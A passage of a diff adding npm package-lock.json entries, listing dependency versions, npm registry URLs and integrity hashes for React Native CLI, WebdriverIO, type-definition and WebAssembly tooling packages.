"sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "requires": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "requires": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "requires": { + "pump": "^3.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "metro-react-native-babel-transformer": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-react-native-babel-transformer/-/metro-react-native-babel-transformer-0.73.8.tgz", + "integrity": "sha512-oH/LCCJPauteAE28c0KJAiSrkV+1VJbU0PwA9UwaWnle+qevs/clpKQ8LrIr33YbBj4CiI1kFoVRuNRt5h4NFg==", + "peer": true, + "requires": { + "@babel/core": "^7.20.0", + "babel-preset-fbjs": "^3.4.0", + "hermes-parser": "0.8.0", + "metro-babel-transformer": "0.73.8", + "metro-react-native-babel-preset": "0.73.8", + "metro-source-map": "0.73.8", + "nullthrows": "^1.1.1" + } + }, + "metro-runtime": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-runtime/-/metro-runtime-0.73.8.tgz", + "integrity": "sha512-M+Bg9M4EN5AEpJ8NkiUsawD75ifYvYfHi05w6QzHXaqOrsTeaRbbeLuOGCYxU2f/tPg17wQV97/rqUQzs9qEtA==", + "peer": true, + "requires": { + "@babel/runtime": "^7.0.0", + "react-refresh": "^0.4.0" + } + }, + "metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "requires": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@react-native-community/cli-server-api": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-server-api/-/cli-server-api-10.1.1.tgz", + "integrity": "sha512-NZDo/wh4zlm8as31UEBno2bui8+ufzsZV+KN7QjEJWEM0levzBtxaD+4je0OpfhRIIkhaRm2gl/vVf7OYAzg4g==", + "peer": true, + "requires": { + "@react-native-community/cli-debugger-ui": "^10.0.0", + "@react-native-community/cli-tools": "^10.1.1", + "compression": "^1.7.1", + "connect": "^3.6.5", + "errorhandler": "^1.5.0", + "nocache": "^3.0.1", + "pretty-format": "^26.6.2", + "serve-static": "^1.13.1", + "ws": "^7.5.1" + }, + "dependencies": { + "ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "peer": true, + "requires": {} + } + } + }, + "@react-native-community/cli-tools": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-tools/-/cli-tools-10.1.1.tgz", + "integrity": "sha512-+FlwOnZBV+ailEzXjcD8afY2ogFEBeHOw/8+XXzMgPaquU2Zly9B+8W089tnnohO3yfiQiZqkQlElP423MY74g==", + "peer": true, + "requires": { + "appdirsjs": "^1.2.4", + "chalk": "^4.1.2", + "find-up": "^5.0.0", + "mime": "^2.4.1", + "node-fetch": "^2.6.0", + "open": "^6.2.0", + "ora": "^5.4.1", + "semver": "^6.3.0", + "shell-quote": "^1.7.3" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "peer": true, + "requires": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "peer": true, + "requires": { + "p-locate": "^5.0.0" + } + }, + "mime": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", + "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", + "peer": true + }, + "node-fetch": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.9.tgz", + "integrity": "sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg==", + "peer": true, + "requires": { + "whatwg-url": "^5.0.0" + } + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "peer": true, + "requires": { + "yocto-queue": "^0.1.0" + } + }, + "p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "peer": true, + "requires": { + "p-limit": "^3.0.2" + } + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "peer": true + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@react-native-community/cli-types": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-types/-/cli-types-10.0.0.tgz", + "integrity": "sha512-31oUM6/rFBZQfSmDQsT1DX/5fjqfxg7sf2u8kTPJK7rXVya5SRpAMaCXsPAG0omsmJxXt+J9HxUi3Ic+5Ux5Iw==", + "peer": true, + "requires": { + "joi": "^17.2.1" + } + }, + "@react-native/assets": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@react-native/assets/-/assets-1.0.0.tgz", + "integrity": "sha512-KrwSpS1tKI70wuKl68DwJZYEvXktDHdZMG0k2AXD/rJVSlB23/X2CB2cutVR0HwNMJIal9HOUOBB2rVfa6UGtQ==", + "peer": true + }, + "@react-native/normalize-color": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@react-native/normalize-color/-/normalize-color-2.1.0.tgz", + "integrity": "sha512-Z1jQI2NpdFJCVgpY+8Dq/Bt3d+YUi1928Q+/CZm/oh66fzM0RUl54vvuXlPJKybH4pdCZey1eDTPaLHkMPNgWA==", + "peer": true + }, + "@react-native/polyfills": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@react-native/polyfills/-/polyfills-2.0.0.tgz", + "integrity": "sha512-K0aGNn1TjalKj+65D7ycc1//H9roAQ51GJVk5ZJQFb2teECGmzd86bYDC0aYdbRf7gtovescq4Zt6FR0tgXiHQ==", + "peer": true + }, + "@sideway/address": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/@sideway/address/-/address-4.1.4.tgz", + "integrity": "sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw==", + "peer": true, + "requires": { + "@hapi/hoek": "^9.0.0" + } + }, + "@sideway/formula": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.1.tgz", + "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==", + "peer": true + }, + "@sideway/pinpoint": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", + "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==", + "peer": true + }, + "@sinclair/typebox": { + "version": "0.25.24", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.25.24.tgz", + "integrity": "sha512-XJfwUVUKDHF5ugKwIcxEgc9k8b7HbznCp6eUfWgu710hMPNIO4aw4/zB5RogDQz8nd6gyCDpU9O/m6qYEWY6yQ==", + "peer": true + }, + "@sinonjs/commons": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-2.0.0.tgz", + "integrity": "sha512-uLa0j859mMrg2slwQYdO/AkrOfmH+X6LTVmNTS9CqexuE2IvVORIkSpJLqePAbEnKJ77aMmCwr1NUZ57120Xcg==", + "peer": true, + "requires": { + "type-detect": "4.0.8" + } + }, + "@sinonjs/fake-timers": { + "version": "10.0.2", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.0.2.tgz", + "integrity": "sha512-SwUDyjWnah1AaNl7kxsa7cfLhlTYoiyhDAIgyh+El30YvXs/o7OLXpYH88Zdhyx9JExKrmHDJ+10bwIcY80Jmw==", + "peer": true, + "requires": { + "@sinonjs/commons": "^2.0.0" + } + }, + "@types/caseless": { + "version": "0.12.2", + "resolved": "https://registry.npmjs.org/@types/caseless/-/caseless-0.12.2.tgz", + "integrity": "sha512-6ckxMjBBD8URvjB6J3NcnuAn5Pkl7t3TizAg+xdlzzQGSPSmBcXf8KoIH0ua/i+tio+ZRUHEXp0HEmvaR4kt0w==", + "dev": true + }, + "@types/istanbul-lib-coverage": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", + "peer": true + }, + "@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "peer": true, + "requires": { + "@types/istanbul-lib-coverage": "*" + } + }, + "@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "peer": true, + "requires": { + "@types/istanbul-lib-report": "*" + } + }, + "@types/node": { + "version": "18.14.2", + "resolved": "https://registry.npmjs.org/@types/node/-/node-18.14.2.tgz", + "integrity": "sha512-1uEQxww3DaghA0RxqHx0O0ppVlo43pJhepY51OxuQIKHpjbnYLA7vcdwioNPzIqmC2u3I/dmylcqjlh0e7AyUA==" + }, + "@types/request": { + "version": "2.48.8", + "resolved": "https://registry.npmjs.org/@types/request/-/request-2.48.8.tgz", + "integrity": "sha512-whjk1EDJPcAR2kYHRbFl/lKeeKYTi05A15K9bnLInCVroNDCtXce57xKdI0/rQaA3K+6q0eFyUBPmqfSndUZdQ==", + "dev": true, + "requires": { + "@types/caseless": "*", + "@types/node": "*", + "@types/tough-cookie": "*", + "form-data": "^2.5.0" + }, + "dependencies": { + "form-data": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz", + "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==", + "dev": true, + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + } + } + }, + "@types/stack-utils": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz", + "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw==", + "peer": true + }, + "@types/tough-cookie": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.2.tgz", + "integrity": "sha512-Q5vtl1W5ue16D+nIaW8JWebSSraJVlK+EthKn7e7UcD4KWsaSJ8BqGPXNaPghgtcn/fhvrN17Tv8ksUsQpiplw==", + "dev": true + }, + "@types/yargs": { + "version": "17.0.22", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.22.tgz", + "integrity": "sha512-pet5WJ9U8yPVRhkwuEIp5ktAeAqRZOq4UdAyWLWzxbtpyXnzbtLdKiXAjJzi/KLmPGS9wk86lUFWZFN6sISo4g==", + "peer": true, + "requires": { + "@types/yargs-parser": "*" + } + }, + "@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==", + "peer": true + }, + "@wdio/config": { + "version": "5.22.4", + "resolved": "https://registry.npmjs.org/@wdio/config/-/config-5.22.4.tgz", + "integrity": "sha512-i5dJQWb80darcRA//tfG0guMeQCeRUXroZNnHjGNb1qzvTRZmcIIhdxaD+DbK/5dWEx6aoMfoi6wjVp/CXwdAg==", + "dev": true, + "requires": { + "@wdio/logger": "5.16.10", + "deepmerge": "^4.0.0", + "glob": "^7.1.2" + }, + "dependencies": { + "deepmerge": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.0.tgz", + "integrity": "sha512-z2wJZXrmeHdvYJp/Ux55wIjqo81G5Bp4c+oELTW+7ar6SogWHajt5a9gO3s3IDaGSAXjDk0vlQKN3rms8ab3og==", + "dev": true + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + } + } + }, + "@wdio/logger": { + "version": "5.16.10", + "resolved": "https://registry.npmjs.org/@wdio/logger/-/logger-5.16.10.tgz", + "integrity": "sha512-hRKhxgd9uB48Dtj2xe2ckxU4KwI/RO8IwguySuaI2SLFj6EDbdonwzpVkq111/fjBuq7R1NauAaNcm3AMEbIFA==", + "dev": true, + "requires": { + "chalk": "^3.0.0", + "loglevel": "^1.6.0", + "loglevel-plugin-prefix": "^0.8.4", + "strip-ansi": "^6.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@wdio/protocols": { + "version": "5.22.1", + "resolved": "https://registry.npmjs.org/@wdio/protocols/-/protocols-5.22.1.tgz", + "integrity": "sha512-GdoWb/HTrb09Qb0S/7sLp1NU94LAhTsF1NnFj5sEFSUpecrl0S07pnhVg54pUImectN/woaqSl7uJGjlSGZcdQ==", + "dev": true + }, + "@wdio/repl": { + "version": "5.23.0", + "resolved": "https://registry.npmjs.org/@wdio/repl/-/repl-5.23.0.tgz", + "integrity": "sha512-cKG9m0XuqcQenQmoup0yJX1fkDQEdY06QXuwt636ZQf6XgDoeoAdNOgnRnNruQ0+JsC2eqHFoSNto1q8wcLH/g==", + "dev": true, + "requires": { + "@wdio/utils": "5.23.0" + } + }, + "@wdio/utils": { + "version": "5.23.0", + "resolved": "https://registry.npmjs.org/@wdio/utils/-/utils-5.23.0.tgz", + "integrity": "sha512-dWPEkDiaNUqJXPO6L2di2apI7Rle7Er4euh67Wlb5+3MrPNjCKhiF8gHcpQeL8oe6A1MH/f89kpSEEXe4BMkAw==", + "dev": true, + "requires": { + "@wdio/logger": "5.16.10", + "deepmerge": "^4.0.0" + }, + "dependencies": { + "deepmerge": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.0.tgz", + "integrity": "sha512-z2wJZXrmeHdvYJp/Ux55wIjqo81G5Bp4c+oELTW+7ar6SogWHajt5a9gO3s3IDaGSAXjDk0vlQKN3rms8ab3og==", + "dev": true + } + } + }, + "@webassemblyjs/ast": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.9.0.tgz", + "integrity": "sha512-C6wW5L+b7ogSDVqymbkkvuW9kruN//YisMED04xzeBBqjHa2FYnmvOlS6Xj68xWQRgWvI9cIglsjFowH/RJyEA==", + "dev": true, + "requires": { + "@webassemblyjs/helper-module-context": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/wast-parser": "1.9.0" + } + }, + "@webassemblyjs/floating-point-hex-parser": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.9.0.tgz", + "integrity": "sha512-TG5qcFsS8QB4g4MhrxK5TqfdNe7Ey/7YL/xN+36rRjl/BlGE/NcBvJcqsRgCP6Z92mRE+7N50pRIi8SmKUbcQA==", + "dev": true + }, + "@webassemblyjs/helper-api-error": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.9.0.tgz", + "integrity": "sha512-NcMLjoFMXpsASZFxJ5h2HZRcEhDkvnNFOAKneP5RbKRzaWJN36NC4jqQHKwStIhGXu5mUWlUUk7ygdtrO8lbmw==", + "dev": true + }, + "@webassemblyjs/helper-buffer": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.9.0.tgz", + "integrity": "sha512-qZol43oqhq6yBPx7YM3m9Bv7WMV9Eevj6kMi6InKOuZxhw+q9hOkvq5e/PpKSiLfyetpaBnogSbNCfBwyB00CA==", + "dev": true + }, + "@webassemblyjs/helper-code-frame": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.9.0.tgz", + "integrity": "sha512-ERCYdJBkD9Vu4vtjUYe8LZruWuNIToYq/ME22igL+2vj2dQ2OOujIZr3MEFvfEaqKoVqpsFKAGsRdBSBjrIvZA==", + "dev": true, + "requires": { + "@webassemblyjs/wast-printer": "1.9.0" + } + }, + "@webassemblyjs/helper-fsm": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.9.0.tgz", + "integrity": "sha512-OPRowhGbshCb5PxJ8LocpdX9Kl0uB4XsAjl6jH/dWKlk/mzsANvhwbiULsaiqT5GZGT9qinTICdj6PLuM5gslw==", + "dev": true + }, + "@webassemblyjs/helper-module-context": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.9.0.tgz", + "integrity": "sha512-MJCW8iGC08tMk2enck1aPW+BE5Cw8/7ph/VGZxwyvGbJwjktKkDK7vy7gAmMDx88D7mhDTCNKAW5tED+gZ0W8g==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0" + } + }, + "@webassemblyjs/helper-wasm-bytecode": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.9.0.tgz", + "integrity": 